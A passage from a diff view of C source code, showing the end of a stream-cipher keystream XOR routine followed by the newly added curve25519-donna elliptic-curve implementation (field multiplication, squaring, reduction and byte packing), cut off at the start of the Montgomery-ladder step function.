((u32*)output)[10] = ((u32*)input)[10] ^ U32TO32_LITTLE(keystream[10]);
|
||||
((u32*)output)[11] = ((u32*)input)[11] ^ U32TO32_LITTLE(keystream[11]);
|
||||
((u32*)output)[12] = ((u32*)input)[12] ^ U32TO32_LITTLE(keystream[12]);
|
||||
((u32*)output)[13] = ((u32*)input)[13] ^ U32TO32_LITTLE(keystream[13]);
|
||||
((u32*)output)[14] = ((u32*)input)[14] ^ U32TO32_LITTLE(keystream[14]);
|
||||
((u32*)output)[15] = ((u32*)input)[15] ^ U32TO32_LITTLE(keystream[15]);
|
||||
}
|
||||
|
||||
if (msglen > 0)
|
||||
{
|
||||
generate_keystream(ctx, keystream);
|
||||
|
||||
for (i = 0; i < msglen; i ++)
|
||||
output[i] = input[i] ^ ((u8*)keystream)[i];
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,874 @@
|
|||
/* Copyright 2008, Google Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are
|
||||
* met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above
|
||||
* copyright notice, this list of conditions and the following disclaimer
|
||||
* in the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
* * Neither the name of Google Inc. nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* curve25519-donna: Curve25519 elliptic curve, public key function
|
||||
*
|
||||
* http://code.google.com/p/curve25519-donna/
|
||||
*
|
||||
* Adam Langley <agl@imperialviolet.org>
|
||||
*
|
||||
* Derived from public domain C code by Daniel J. Bernstein <djb@cr.yp.to>
|
||||
*
|
||||
* More information about curve25519 can be found here
|
||||
* http://cr.yp.to/ecdh.html
|
||||
*
|
||||
* djb's sample implementation of curve25519 is written in a special assembly
|
||||
* language called qhasm and uses the floating point registers.
|
||||
*
|
||||
* This is, almost, a clean room reimplementation from the curve25519 paper. It
|
||||
* uses many of the tricks described therein. Only the crecip function is taken
|
||||
* from the sample implementation. */
|
||||
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "../memory.h"
|
||||
#include "curve25519-donna.h"
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#define inline __inline
|
||||
#endif
|
||||
|
||||
/* Field element representation:
|
||||
*
|
||||
* Field elements are written as an array of signed, 64-bit limbs, least
|
||||
* significant first. The value of the field element is:
|
||||
* x[0] + 2^26·x[1] + x^51·x[2] + 2^102·x[3] + ...
|
||||
*
|
||||
* i.e. the limbs are 26, 25, 26, 25, ... bits wide. */
|
||||
|
||||
/* Sum two numbers: output += in */
|
||||
static void fsum(limb *output, const limb *in) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; i += 2) {
|
||||
output[0+i] = output[0+i] + in[0+i];
|
||||
output[1+i] = output[1+i] + in[1+i];
|
||||
}
|
||||
}
|
||||
|
||||
/* Find the difference of two numbers: output = in - output
|
||||
* (note the order of the arguments!). */
|
||||
static void fdifference(limb *output, const limb *in) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; ++i) {
|
||||
output[i] = in[i] - output[i];
|
||||
}
|
||||
}
|
||||
|
||||
/* Multiply a number by a scalar: output = in * scalar */
|
||||
static void fscalar_product(limb *output, const limb *in, const limb scalar) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; ++i) {
|
||||
output[i] = in[i] * scalar;
|
||||
}
|
||||
}
|
||||
|
||||
/* Multiply two numbers: output = in2 * in
|
||||
*
|
||||
* output must be distinct to both inputs. The inputs are reduced coefficient
|
||||
* form, the output is not.
|
||||
*
|
||||
* output[x] <= 14 * the largest product of the input limbs. */
|
||||
static void fproduct(limb *output, const limb *in2, const limb *in) {
|
||||
output[0] = ((limb) ((s32) in2[0])) * ((s32) in[0]);
|
||||
output[1] = ((limb) ((s32) in2[0])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[0]);
|
||||
output[2] = 2 * ((limb) ((s32) in2[1])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[0]);
|
||||
output[3] = ((limb) ((s32) in2[1])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[0]);
|
||||
output[4] = ((limb) ((s32) in2[2])) * ((s32) in[2]) +
|
||||
2 * (((limb) ((s32) in2[1])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[0]);
|
||||
output[5] = ((limb) ((s32) in2[2])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[0]);
|
||||
output[6] = 2 * (((limb) ((s32) in2[3])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[0]);
|
||||
output[7] = ((limb) ((s32) in2[3])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[0]);
|
||||
output[8] = ((limb) ((s32) in2[4])) * ((s32) in[4]) +
|
||||
2 * (((limb) ((s32) in2[3])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[0]);
|
||||
output[9] = ((limb) ((s32) in2[4])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[0]);
|
||||
output[10] = 2 * (((limb) ((s32) in2[5])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[2]);
|
||||
output[11] = ((limb) ((s32) in2[5])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[2]);
|
||||
output[12] = ((limb) ((s32) in2[6])) * ((s32) in[6]) +
|
||||
2 * (((limb) ((s32) in2[5])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[3])) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[4]);
|
||||
output[13] = ((limb) ((s32) in2[6])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[4]);
|
||||
output[14] = 2 * (((limb) ((s32) in2[7])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[5])) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[6]);
|
||||
output[15] = ((limb) ((s32) in2[7])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[6]);
|
||||
output[16] = ((limb) ((s32) in2[8])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in2[7])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[7]));
|
||||
output[17] = ((limb) ((s32) in2[8])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[8]);
|
||||
output[18] = 2 * ((limb) ((s32) in2[9])) * ((s32) in[9]);
|
||||
}
|
||||
|
||||
/* Reduce a long form to a short form by taking the input mod 2^255 - 19.
|
||||
*
|
||||
* On entry: |output[i]| < 14*2^54
|
||||
* On exit: |output[0..8]| < 280*2^54 */
|
||||
static void freduce_degree(limb *output) {
|
||||
/* Each of these shifts and adds ends up multiplying the value by 19.
|
||||
*
|
||||
* For output[0..8], the absolute entry value is < 14*2^54 and we add, at
|
||||
* most, 19*14*2^54 thus, on exit, |output[0..8]| < 280*2^54. */
|
||||
output[8] += output[18] << 4;
|
||||
output[8] += output[18] << 1;
|
||||
output[8] += output[18];
|
||||
output[7] += output[17] << 4;
|
||||
output[7] += output[17] << 1;
|
||||
output[7] += output[17];
|
||||
output[6] += output[16] << 4;
|
||||
output[6] += output[16] << 1;
|
||||
output[6] += output[16];
|
||||
output[5] += output[15] << 4;
|
||||
output[5] += output[15] << 1;
|
||||
output[5] += output[15];
|
||||
output[4] += output[14] << 4;
|
||||
output[4] += output[14] << 1;
|
||||
output[4] += output[14];
|
||||
output[3] += output[13] << 4;
|
||||
output[3] += output[13] << 1;
|
||||
output[3] += output[13];
|
||||
output[2] += output[12] << 4;
|
||||
output[2] += output[12] << 1;
|
||||
output[2] += output[12];
|
||||
output[1] += output[11] << 4;
|
||||
output[1] += output[11] << 1;
|
||||
output[1] += output[11];
|
||||
output[0] += output[10] << 4;
|
||||
output[0] += output[10] << 1;
|
||||
output[0] += output[10];
|
||||
}
|
||||
|
||||
#if (-1 & 3) != 3
|
||||
#error "This code only works on a two's complement system"
|
||||
#endif
|
||||
|
||||
/* return v / 2^26, using only shifts and adds.
|
||||
*
|
||||
* On entry: v can take any value. */
|
||||
static inline limb
|
||||
div_by_2_26(const limb v)
|
||||
{
|
||||
/* High word of v; no shift needed. */
|
||||
const uint32_t highword = (uint32_t) (((uint64_t) v) >> 32);
|
||||
/* Set to all 1s if v was negative; else set to 0s. */
|
||||
const int32_t sign = ((int32_t) highword) >> 31;
|
||||
/* Set to 0x3ffffff if v was negative; else set to 0. */
|
||||
const int32_t roundoff = ((uint32_t) sign) >> 6;
|
||||
/* Should return v / (1<<26) */
|
||||
return (v + roundoff) >> 26;
|
||||
}
|
||||
|
||||
/* return v / (2^25), using only shifts and adds.
|
||||
*
|
||||
* On entry: v can take any value. */
|
||||
static inline limb
|
||||
div_by_2_25(const limb v)
|
||||
{
|
||||
/* High word of v; no shift needed*/
|
||||
const uint32_t highword = (uint32_t) (((uint64_t) v) >> 32);
|
||||
/* Set to all 1s if v was negative; else set to 0s. */
|
||||
const int32_t sign = ((int32_t) highword) >> 31;
|
||||
/* Set to 0x1ffffff if v was negative; else set to 0. */
|
||||
const int32_t roundoff = ((uint32_t) sign) >> 7;
|
||||
/* Should return v / (1<<25) */
|
||||
return (v + roundoff) >> 25;
|
||||
}
|
||||
|
||||
/* Reduce all coefficients of the short form input so that |x| < 2^26.
|
||||
*
|
||||
* On entry: |output[i]| < 280*2^54 */
|
||||
static void freduce_coefficients(limb *output) {
|
||||
unsigned i;
|
||||
|
||||
output[10] = 0;
|
||||
|
||||
for (i = 0; i < 10; i += 2) {
|
||||
limb over = div_by_2_26(output[i]);
|
||||
/* The entry condition (that |output[i]| < 280*2^54) means that over is, at
|
||||
* most, 280*2^28 in the first iteration of this loop. This is added to the
|
||||
* next limb and we can approximate the resulting bound of that limb by
|
||||
* 281*2^54. */
|
||||
output[i] -= over << 26;
|
||||
output[i+1] += over;
|
||||
|
||||
/* For the first iteration, |output[i+1]| < 281*2^54, thus |over| <
|
||||
* 281*2^29. When this is added to the next limb, the resulting bound can
|
||||
* be approximated as 281*2^54.
|
||||
*
|
||||
* For subsequent iterations of the loop, 281*2^54 remains a conservative
|
||||
* bound and no overflow occurs. */
|
||||
over = div_by_2_25(output[i+1]);
|
||||
output[i+1] -= over << 25;
|
||||
output[i+2] += over;
|
||||
}
|
||||
/* Now |output[10]| < 281*2^29 and all other coefficients are reduced. */
|
||||
output[0] += output[10] << 4;
|
||||
output[0] += output[10] << 1;
|
||||
output[0] += output[10];
|
||||
|
||||
output[10] = 0;
|
||||
|
||||
/* Now output[1..9] are reduced, and |output[0]| < 2^26 + 19*281*2^29
|
||||
* So |over| will be no more than 2^16. */
|
||||
{
|
||||
limb over = div_by_2_26(output[0]);
|
||||
output[0] -= over << 26;
|
||||
output[1] += over;
|
||||
}
|
||||
|
||||
/* Now output[0,2..9] are reduced, and |output[1]| < 2^25 + 2^16 < 2^26. The
|
||||
* bound on |output[1]| is sufficient to meet our needs. */
|
||||
}
|
||||
|
||||
/* A helpful wrapper around fproduct: output = in * in2.
|
||||
*
|
||||
* On entry: |in[i]| < 2^27 and |in2[i]| < 2^27.
|
||||
*
|
||||
* output must be distinct to both inputs. The output is reduced degree
|
||||
* (indeed, one need only provide storage for 10 limbs) and |output[i]| < 2^26. */
|
||||
static void
|
||||
fmul(limb *output, const limb *in, const limb *in2) {
|
||||
limb t[19];
|
||||
fproduct(t, in, in2);
|
||||
/* |t[i]| < 14*2^54 */
|
||||
freduce_degree(t);
|
||||
freduce_coefficients(t);
|
||||
/* |t[i]| < 2^26 */
|
||||
_memcpy(output, t, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
/* Square a number: output = in**2
|
||||
*
|
||||
* output must be distinct from the input. The inputs are reduced coefficient
|
||||
* form, the output is not.
|
||||
*
|
||||
* output[x] <= 14 * the largest product of the input limbs. */
|
||||
static void fsquare_inner(limb *output, const limb *in) {
|
||||
output[0] = ((limb) ((s32) in[0])) * ((s32) in[0]);
|
||||
output[1] = 2 * ((limb) ((s32) in[0])) * ((s32) in[1]);
|
||||
output[2] = 2 * (((limb) ((s32) in[1])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[2]));
|
||||
output[3] = 2 * (((limb) ((s32) in[1])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[3]));
|
||||
output[4] = ((limb) ((s32) in[2])) * ((s32) in[2]) +
|
||||
4 * ((limb) ((s32) in[1])) * ((s32) in[3]) +
|
||||
2 * ((limb) ((s32) in[0])) * ((s32) in[4]);
|
||||
output[5] = 2 * (((limb) ((s32) in[2])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[5]));
|
||||
output[6] = 2 * (((limb) ((s32) in[3])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[6]) +
|
||||
2 * ((limb) ((s32) in[1])) * ((s32) in[5]));
|
||||
output[7] = 2 * (((limb) ((s32) in[3])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[7]));
|
||||
output[8] = ((limb) ((s32) in[4])) * ((s32) in[4]) +
|
||||
2 * (((limb) ((s32) in[2])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[1])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[5])));
|
||||
output[9] = 2 * (((limb) ((s32) in[4])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[9]));
|
||||
output[10] = 2 * (((limb) ((s32) in[5])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[3])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[9])));
|
||||
output[11] = 2 * (((limb) ((s32) in[5])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[9]));
|
||||
output[12] = ((limb) ((s32) in[6])) * ((s32) in[6]) +
|
||||
2 * (((limb) ((s32) in[4])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[5])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[9])));
|
||||
output[13] = 2 * (((limb) ((s32) in[6])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[5])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[9]));
|
||||
output[14] = 2 * (((limb) ((s32) in[7])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[6])) * ((s32) in[8]) +
|
||||
2 * ((limb) ((s32) in[5])) * ((s32) in[9]));
|
||||
output[15] = 2 * (((limb) ((s32) in[7])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[6])) * ((s32) in[9]));
|
||||
output[16] = ((limb) ((s32) in[8])) * ((s32) in[8]) +
|
||||
4 * ((limb) ((s32) in[7])) * ((s32) in[9]);
|
||||
output[17] = 2 * ((limb) ((s32) in[8])) * ((s32) in[9]);
|
||||
output[18] = 2 * ((limb) ((s32) in[9])) * ((s32) in[9]);
|
||||
}
|
||||
|
||||
/* fsquare sets output = in^2.
|
||||
*
|
||||
* On entry: The |in| argument is in reduced coefficients form and |in[i]| <
|
||||
* 2^27.
|
||||
*
|
||||
* On exit: The |output| argument is in reduced coefficients form (indeed, one
|
||||
* need only provide storage for 10 limbs) and |out[i]| < 2^26. */
|
||||
static void
|
||||
fsquare(limb *output, const limb *in) {
|
||||
limb t[19];
|
||||
fsquare_inner(t, in);
|
||||
/* |t[i]| < 14*2^54 because the largest product of two limbs will be <
|
||||
* 2^(27+27) and fsquare_inner adds together, at most, 14 of those
|
||||
* products. */
|
||||
freduce_degree(t);
|
||||
freduce_coefficients(t);
|
||||
/* |t[i]| < 2^26 */
|
||||
_memcpy(output, t, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
/* Take a little-endian, 32-byte number and expand it into polynomial form */
|
||||
static void
|
||||
fexpand(limb *output, const u8 *input) {
|
||||
#define F(n,start,shift,mask) \
|
||||
output[n] = ((((limb) input[start + 0]) | \
|
||||
((limb) input[start + 1]) << 8 | \
|
||||
((limb) input[start + 2]) << 16 | \
|
||||
((limb) input[start + 3]) << 24) >> shift) & mask;
|
||||
F(0, 0, 0, 0x3ffffff);
|
||||
F(1, 3, 2, 0x1ffffff);
|
||||
F(2, 6, 3, 0x3ffffff);
|
||||
F(3, 9, 5, 0x1ffffff);
|
||||
F(4, 12, 6, 0x3ffffff);
|
||||
F(5, 16, 0, 0x1ffffff);
|
||||
F(6, 19, 1, 0x3ffffff);
|
||||
F(7, 22, 3, 0x1ffffff);
|
||||
F(8, 25, 4, 0x3ffffff);
|
||||
F(9, 28, 6, 0x1ffffff);
|
||||
#undef F
|
||||
}
|
||||
|
||||
#if (-32 >> 1) != -16
|
||||
#error "This code only works when >> does sign-extension on negative numbers"
|
||||
#endif
|
||||
|
||||
/* s32_eq returns 0xffffffff iff a == b and zero otherwise. */
|
||||
static s32 s32_eq(s32 a, s32 b) {
|
||||
a = ~(a ^ b);
|
||||
a &= a << 16;
|
||||
a &= a << 8;
|
||||
a &= a << 4;
|
||||
a &= a << 2;
|
||||
a &= a << 1;
|
||||
return a >> 31;
|
||||
}
|
||||
|
||||
/* s32_gte returns 0xffffffff if a >= b and zero otherwise, where a and b are
|
||||
* both non-negative. */
|
||||
static s32 s32_gte(s32 a, s32 b) {
|
||||
a -= b;
|
||||
/* a >= 0 iff a >= b. */
|
||||
return ~(a >> 31);
|
||||
}
|
||||
|
||||
/* Take a fully reduced polynomial form number and contract it into a
|
||||
* little-endian, 32-byte array.
|
||||
*
|
||||
* On entry: |input_limbs[i]| < 2^26 */
|
||||
static void
|
||||
fcontract(u8 *output, limb *input_limbs) {
|
||||
int i;
|
||||
int j;
|
||||
s32 input[10];
|
||||
s32 mask;
|
||||
|
||||
/* |input_limbs[i]| < 2^26, so it's valid to convert to an s32. */
|
||||
for (i = 0; i < 10; i++) {
|
||||
input[i] = input_limbs[i];
|
||||
}
|
||||
|
||||
for (j = 0; j < 2; ++j) {
|
||||
for (i = 0; i < 9; ++i) {
|
||||
if ((i & 1) == 1) {
|
||||
/* This calculation is a time-invariant way to make input[i]
|
||||
* non-negative by borrowing from the next-larger limb. */
|
||||
const s32 mask = input[i] >> 31;
|
||||
const s32 carry = -((input[i] & mask) >> 25);
|
||||
input[i] = input[i] + (carry << 25);
|
||||
input[i+1] = input[i+1] - carry;
|
||||
} else {
|
||||
const s32 mask = input[i] >> 31;
|
||||
const s32 carry = -((input[i] & mask) >> 26);
|
||||
input[i] = input[i] + (carry << 26);
|
||||
input[i+1] = input[i+1] - carry;
|
||||
}
|
||||
}
|
||||
|
||||
/* There's no greater limb for input[9] to borrow from, but we can multiply
|
||||
* by 19 and borrow from input[0], which is valid mod 2^255-19. */
|
||||
{
|
||||
const s32 mask = input[9] >> 31;
|
||||
const s32 carry = -((input[9] & mask) >> 25);
|
||||
input[9] = input[9] + (carry << 25);
|
||||
input[0] = input[0] - (carry * 19);
|
||||
}
|
||||
|
||||
/* After the first iteration, input[1..9] are non-negative and fit within
|
||||
* 25 or 26 bits, depending on position. However, input[0] may be
|
||||
* negative. */
|
||||
}
|
||||
|
||||
/* The first borrow-propagation pass above ended with every limb
|
||||
except (possibly) input[0] non-negative.
|
||||
|
||||
If input[0] was negative after the first pass, then it was because of a
|
||||
carry from input[9]. On entry, input[9] < 2^26 so the carry was, at most,
|
||||
one, since (2**26-1) >> 25 = 1. Thus input[0] >= -19.
|
||||
|
||||
In the second pass, each limb is decreased by at most one. Thus the second
|
||||
borrow-propagation pass could only have wrapped around to decrease
|
||||
input[0] again if the first pass left input[0] negative *and* input[1]
|
||||
through input[9] were all zero. In that case, input[1] is now 2^25 - 1,
|
||||
and this last borrow-propagation step will leave input[1] non-negative. */
|
||||
{
|
||||
const s32 mask = input[0] >> 31;
|
||||
const s32 carry = -((input[0] & mask) >> 26);
|
||||
input[0] = input[0] + (carry << 26);
|
||||
input[1] = input[1] - carry;
|
||||
}
|
||||
|
||||
/* All input[i] are now non-negative. However, there might be values between
|
||||
* 2^25 and 2^26 in a limb which is, nominally, 25 bits wide. */
|
||||
for (j = 0; j < 2; j++) {
|
||||
for (i = 0; i < 9; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
const s32 carry = input[i] >> 25;
|
||||
input[i] &= 0x1ffffff;
|
||||
input[i+1] += carry;
|
||||
} else {
|
||||
const s32 carry = input[i] >> 26;
|
||||
input[i] &= 0x3ffffff;
|
||||
input[i+1] += carry;
|
||||
}
|
||||
}
|
||||
|
||||
{
|
||||
const s32 carry = input[9] >> 25;
|
||||
input[9] &= 0x1ffffff;
|
||||
input[0] += 19*carry;
|
||||
}
|
||||
}
|
||||
|
||||
/* If the first carry-chain pass, just above, ended up with a carry from
|
||||
* input[9], and that caused input[0] to be out-of-bounds, then input[0] was
|
||||
* < 2^26 + 2*19, because the carry was, at most, two.
|
||||
*
|
||||
* If the second pass carried from input[9] again then input[0] is < 2*19 and
|
||||
* the input[9] -> input[0] carry didn't push input[0] out of bounds. */
|
||||
|
||||
/* It still remains the case that input might be between 2^255-19 and 2^255.
|
||||
* In this case, input[1..9] must take their maximum value and input[0] must
|
||||
* be >= (2^255-19) & 0x3ffffff, which is 0x3ffffed. */
|
||||
mask = s32_gte(input[0], 0x3ffffed);
|
||||
for (i = 1; i < 10; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
mask &= s32_eq(input[i], 0x1ffffff);
|
||||
} else {
|
||||
mask &= s32_eq(input[i], 0x3ffffff);
|
||||
}
|
||||
}
|
||||
|
||||
/* mask is either 0xffffffff (if input >= 2^255-19) and zero otherwise. Thus
|
||||
* this conditionally subtracts 2^255-19. */
|
||||
input[0] -= mask & 0x3ffffed;
|
||||
|
||||
for (i = 1; i < 10; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
input[i] -= mask & 0x1ffffff;
|
||||
} else {
|
||||
input[i] -= mask & 0x3ffffff;
|
||||
}
|
||||
}
|
||||
|
||||
input[1] <<= 2;
|
||||
input[2] <<= 3;
|
||||
input[3] <<= 5;
|
||||
input[4] <<= 6;
|
||||
input[6] <<= 1;
|
||||
input[7] <<= 3;
|
||||
input[8] <<= 4;
|
||||
input[9] <<= 6;
|
||||
#define F(i, s) \
|
||||
output[s+0] |= input[i] & 0xff; \
|
||||
output[s+1] = (input[i] >> 8) & 0xff; \
|
||||
output[s+2] = (input[i] >> 16) & 0xff; \
|
||||
output[s+3] = (input[i] >> 24) & 0xff;
|
||||
output[0] = 0;
|
||||
output[16] = 0;
|
||||
F(0,0);
|
||||
F(1,3);
|
||||
F(2,6);
|
||||
F(3,9);
|
||||
F(4,12);
|
||||
F(5,16);
|
||||
F(6,19);
|
||||
F(7,22);
|
||||
F(8,25);
|
||||
F(9,28);
|
||||
#undef F
|
||||
}
|
||||
|
||||
/* Input: Q, Q', Q-Q'
|
||||
* Output: 2Q, Q+Q'
|
||||
*
|
||||
* x2 z3: long form
|
||||
* x3 z3: long form
|
||||
* x z: short form, destroyed
|
||||
* xprime zprime: short form, destroyed
|
||||
* qmqp: short form, preserved
|
||||
*
|
||||
* On entry and exit, the absolute value of the limbs of all inputs and outputs
|
||||
* are < 2^26. */
|
||||
static void fmonty(limb *x2, limb *z2, /* output 2Q */
|
||||
limb *x3, limb *z3, /* output Q + Q' */
|
||||
limb *x, limb *z, /* input Q */
|
||||
limb *xprime, limb *zprime, /* input Q' */
|
||||
const limb *qmqp /* input Q - Q' */) {
|
||||
